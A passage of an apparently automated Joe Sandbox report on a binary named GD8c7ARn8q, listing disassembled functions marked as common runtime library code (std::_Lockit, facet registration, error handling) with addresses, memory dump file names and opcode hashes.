                                          Function 008DAFED Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Maklocstr$Maklocchr
                                          • String ID:
                                          • API String ID: 2020259771-0
                                          • Opcode ID: 91876dc695b776ac58264dc50881a6938441d54ed7f082e12169e18799d667d1
                                          • Instruction ID: af71169532fba671bffdfa18a7059dece49d88b4729fb9d93e2671c910c658ca
                                          • Opcode Fuzzy Hash: 91876dc695b776ac58264dc50881a6938441d54ed7f082e12169e18799d667d1
                                          • Instruction Fuzzy Hash: A4118CB2940B44BBE720EBA99881F17B7ECFB18360F04061AF159CBA40D375FD5487A5
                                          Function 008DC0D1 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC0D8
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC0E2
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008DC133
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC153
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC171
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 73d1cde50731a901bf6c3b52f6983adc060492d488983b4ebbbfa51c5772623a
                                          • Instruction ID: b3ee27a7e0ef146ca3bb0b5230810efc77d47755057817e766baff6a4138f4ca
                                          • Opcode Fuzzy Hash: 73d1cde50731a901bf6c3b52f6983adc060492d488983b4ebbbfa51c5772623a
                                          • Instruction Fuzzy Hash: 97119E7290022ADBCF01EBA8C815AAE77B0FF84720F14450AF900E7392CF749E01DB92
                                          Function 008DC177 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC17E
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC188
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008DC1D9
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC1F9
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC217
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: ad1c4b1c505838727f0a525c440649f4f72e090a63fc81ae74c927269cbd97a5
                                          • Instruction ID: b7826f419bbb7305d22b26180ebbc66da83af3b85a68c4cbe3eb38b6c61e3aff
                                          • Opcode Fuzzy Hash: ad1c4b1c505838727f0a525c440649f4f72e090a63fc81ae74c927269cbd97a5
                                          • Instruction Fuzzy Hash: E611A07290062ADBCF00EBE8C855AAE77B5FF84320F14010AE811E7391CF349E01DBA2
                                          Function 008DC2C3 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC2CA
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC2D4
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008DC325
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC345
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC363
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 4706524ac4c5c9676e8091ea8832534b2f84f0051dd7821e4b751e66461c0d3f
                                          • Instruction ID: e417333446356466e8aad6f11e9cc58282e72296e2f04c9db39d943b78d5abea
                                          • Opcode Fuzzy Hash: 4706524ac4c5c9676e8091ea8832534b2f84f0051dd7821e4b751e66461c0d3f
                                          • Instruction Fuzzy Hash: 4711A07290422ADBCF05EBA8C855ABE77B5FF88320F54410AE411E7391CF749E01DBA2
                                          Function 008DC21D Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC224
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC22E
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008DC27F
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC29F
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC2BD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 244528cfbd5ae267f450d965e8d3f368189e7385cae1025469e1c886ed39b253
                                          • Instruction ID: 99208e4d5509b487d86d840b4c308c56b9b86cc3f4b1eb133ecca7f2c1f1f2cc
                                          • Opcode Fuzzy Hash: 244528cfbd5ae267f450d965e8d3f368189e7385cae1025469e1c886ed39b253
                                          • Instruction Fuzzy Hash: 4111707290062ADBCF05EBA8C855ABE77B5FF84720F15054AE901E7391CF749E01DBA2
                                          Function 008DC4B5 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC4BC
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC4C6
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008DC517
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC537
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC555
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 9b9cfa78e13b0ad340ab47760be35457e23304dec7b13c95496468ee21fa592a
                                          • Instruction ID: 8e18c5ce9a3b33bd4e40725206ca8f9b7103f5045d05d70cc2fffdeac5715d37
                                          • Opcode Fuzzy Hash: 9b9cfa78e13b0ad340ab47760be35457e23304dec7b13c95496468ee21fa592a
                                          • Instruction Fuzzy Hash: 89117371900619DBCF05EBA8D855ABE77B5FF84320F14055AE501E7391CF749E01DB92
                                          Function 008DC55B Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC562
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC56C
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008DC5BD
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC5DD
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC5FB
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: ec09c0e1744de8ded30a5614a62aac92f3722d431991ca871ba557de229b16e3
                                          • Instruction ID: e211fdade977091082080d056793a0913f538e84c5c4e6390d358478eb5ed3a7
                                          • Opcode Fuzzy Hash: ec09c0e1744de8ded30a5614a62aac92f3722d431991ca871ba557de229b16e3
                                          • Instruction Fuzzy Hash: 38119171900219DBCF00EBA8D855ABE7775FF84320F24050AE401E7391CF34AA01DB92
                                          Function 008DC6A7 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC6AE
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC6B8
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008DC709
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC729
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC747
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 990515674bcee4b359cf8573ee0419986e0e6172d936ca50304859409a4851fb
                                          • Instruction ID: 5fbd3aff38b10d74e26325f3e3a5550732e9efb61118a2e741d5bea976a2d074
                                          • Opcode Fuzzy Hash: 990515674bcee4b359cf8573ee0419986e0e6172d936ca50304859409a4851fb
                                          • Instruction Fuzzy Hash: B811A07290062ADBCF00EBA8C855AAEB7B5FF94320F54014AE411E7391CF349E01DB92
                                          Function 008DC601 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC608
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC612
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008DC663
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC683
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC6A1
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: ad5b87fcaf04a1a0db947d758021fff976d7446f12fa6a08fc89eeb0d0a68262
                                          • Instruction ID: 568ff4d4f6969433f61ca5cc72bbce25d830c9a0a80462fe21646a739636176f
                                          • Opcode Fuzzy Hash: ad5b87fcaf04a1a0db947d758021fff976d7446f12fa6a08fc89eeb0d0a68262
                                          • Instruction Fuzzy Hash: 7B119E76900229DBCF00EBB8D815AAE77B0FF94720F25060AE401E7391DF349A01DB92
                                          Function 008E8EBE Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008E8EC5
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008E8ECF
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008E8F20
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008E8F40
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008E8F5E
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 4e9991f7d4bd4b36d889c040acc9a3bfa3509c569b5b227d59adeeab463e9ce8
                                          • Instruction ID: 06a1be92fd814bd83928e152046fff07a3cf4c574293b4c5debe72c89e0e91ff
                                          • Opcode Fuzzy Hash: 4e9991f7d4bd4b36d889c040acc9a3bfa3509c569b5b227d59adeeab463e9ce8
                                          • Instruction Fuzzy Hash: 89119E72900229EBCF11EBA8C855AAE77B1FF85320F240109F405E7391CF749A019BA2
                                          Function 008E8E18 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008E8E1F
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008E8E29
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008E8E7A
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008E8E9A
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008E8EB8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 28097b0cdf088ac8b47b6cbfff47f01ff05ac990e3f2a08180bbde1bb18dd373
                                          • Instruction ID: 95775e6d1bbf3c129c48dbe6a70d9eb8726adae0a2d417c0cc796aca547123cd
                                          • Opcode Fuzzy Hash: 28097b0cdf088ac8b47b6cbfff47f01ff05ac990e3f2a08180bbde1bb18dd373
                                          • Instruction Fuzzy Hash: 9E119E72900229DBCF00EBA8CC15AAE77B1FF84720F240449E504EB391CF749E01DB92
                                          Function 008E90B0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008E90B7
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008E90C1
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008E9112
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008E9132
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008E9150
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 7819f1aaa9457043eaae5578f32924f0d1a96ebc8fb9d71996093d4268b33959
                                          • Instruction ID: d74616ba321e8867857537c5983a8906bd5e0f2126fe9e74d4c5da212ddd7209
                                          • Opcode Fuzzy Hash: 7819f1aaa9457043eaae5578f32924f0d1a96ebc8fb9d71996093d4268b33959
                                          • Instruction Fuzzy Hash: 7E11A371904659DBCF04EBA8C859AAE77B5FF85320F540409E504EB391DF789E01D792
                                          Function 008E9156 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008E915D
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008E9167
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • std::_Facet_Register.LIBCPMT ref: 008E91B8
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008E91D8
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008E91F6
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                          • String ID:
                                          • API String ID: 651022567-0
                                          • Opcode ID: 1d89ba2a4ecda2ec29ec38075bf57b75c5aaeec7f70a117b0382f47c037faec8
                                          • Instruction ID: 7f557eb284452bb9ee48c158ef9f4c06329fda6c2c4cb9b19ad79cd7861424ff
                                          • Opcode Fuzzy Hash: 1d89ba2a4ecda2ec29ec38075bf57b75c5aaeec7f70a117b0382f47c037faec8
                                          • Instruction Fuzzy Hash: 2711A372900219DBCF10EBA8C859AAE77B5FF85320F250509E805E7391CF789E01D792
                                          Function 00924B6D Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(?,?,?,00916138,00926346,?,?,009082A9,?,?,?,?,?,00861F07,?,?), ref: 00924B72
                                          • _free.LIBCMT ref: 00924BA7
                                          • _free.LIBCMT ref: 00924BCE
                                          • SetLastError.KERNEL32(00000000,?,?,?), ref: 00924BDB
                                          • SetLastError.KERNEL32(00000000,?,?,?), ref: 00924BE4
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast$_free
                                          • String ID:
                                          • API String ID: 3170660625-0
                                          • Opcode ID: 712768dbc3d2038348e69e43f5c239f1fe9870f76fdaed5f8483047fec217f93
